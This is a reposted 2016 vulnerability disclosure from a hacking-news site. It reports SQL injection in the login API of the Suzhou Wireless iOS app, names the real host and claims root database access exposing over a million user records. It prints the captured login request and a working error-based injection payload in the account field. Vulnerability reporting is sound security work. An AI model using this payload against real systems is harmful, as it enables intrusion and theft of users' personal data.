记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

苏州无线IOS APP存在SQL注入(涉及100W+用户数据)

2016-05-18 05:50

目标:苏州无线IOS APP

检测发现以下地方存在SQL注入:(POST中的account,报错注入)

code 区域
POST http://content.2500city.com/ucenter/user/login HTTP/1.1

Cookie: AD_RS_COOKIE=20110763

User-Agent: SuzhouTV/3.9.2 (iPhone; iOS 9.3.1; Scale/2.00)

Content-Length: 98

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://content.2500city.com/ucenter/user/login

Host: content.2500city.com

Accept-Encoding: gzip,deflate

Accept: */*



{"account":"13888888888","password":"8abff0aa0877844584df31b9e4e45831","platform":1,"version":"3.9.2"}



Payload:(当前数据库)

code 区域
POST http://content.2500city.com/ucenter/user/login HTTP/1.1

Content-Length: 315

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Host: content.2500city.com

Accept: */*

User-Agent: SuzhouTV/3.9.2 (iPhone; iOS 9.3.1; Scale/2.00)

Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7

X-Requested-With: XMLHttpRequest

Pragma: no-cache

Cache-Control: no-cache,no-store

Referer: http://content.2500city.com/ucenter/user/login

Content-Type: application/x-www-form-urlencoded

Cookie: AD_RS_COOKIE=20110763



{"account":"13888888888' AND (SELECT 5906 FROM(SELECT COUNT(*),CONCAT(0x716b716a71,(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,54)),0x716a627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'UBuc'='UBuc","password":"8abff0aa0877844584df31b9e4e45831","platform":1,"version":"3.9.2"}

漏洞证明:

1、当前数据库用户,root权限

user.jpg



2、所有数据库

dbs.jpg



3、用户表,多个,共100W+用户数据,仅列出数目作证明,具体就不深入了。

tb1.jpg



tb2.jpg

修复方案:

请多指教~

知识来源: www.wooyun.org/bugs/wooyun-2016-0207995

阅读:96311 | 评论:0 | 标签:注入 iOS

想收藏或者和大家分享这篇好文章→复制链接地址

“苏州无线IOS APP存在SQL注入(涉及100W+用户数据)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云